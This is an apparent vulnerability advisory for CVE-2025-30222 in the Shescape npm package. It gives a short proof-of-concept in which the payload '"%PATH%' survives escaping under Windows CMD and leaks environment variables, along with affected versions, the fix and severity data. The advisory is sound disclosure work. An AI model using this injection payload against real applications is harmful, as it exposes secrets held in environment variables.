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CVE-2025-30222: Shescape has potential environment variable exposure on Windows with CMD

March 26, 2025 (updated October 31, 2025)

This impact users of Shescape on Windows that explicitly configure shell: 'cmd.exe' or shell: true using any of quote/quoteAll/escape/escapeAll.

An attacker may be able to get read-only access to environment variables. Example:

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const shescape = new Shescape({
shell: "cmd.exe",
// Or
shell: true, // Only if the default shell is CMD
});

// 2. Payload
const payload = '"%PATH%';

// 3. Usage
let escapedPayload;

escapedPayload = shescape.quote(payload);
// Or
escapedPayload = shescape.quoteAll([payload]);
// Or
escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo Hello ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs "Hello" followed by the contents of the PATH environment variable

For Shescape prior to v2.0.0, the options object must have shell: 'cmd.exe' or shell: undefined and interpolation: true.

References

  • github.com/advisories/GHSA-66pp-5p9w-q87j
  • github.com/ericcornelissen/shescape
  • github.com/ericcornelissen/shescape/commit/0a81f1eb077bab8caae283a2490cd7be9af179c6
  • github.com/ericcornelissen/shescape/pull/1916
  • github.com/ericcornelissen/shescape/releases/tag/v2.1.2
  • github.com/ericcornelissen/shescape/security/advisories/GHSA-66pp-5p9w-q87j
  • nvd.nist.gov/vuln/detail/CVE-2025-30222

Code Behaviors & Features

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Affected versions

All versions starting from 1.7.2 before 2.1.2

Fixed versions

  • 2.1.2

Solution

Upgrade to version 2.1.2 or above.

Impact 6.2 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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Weakness

  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Source file

npm/shescape/CVE-2025-30222.yml

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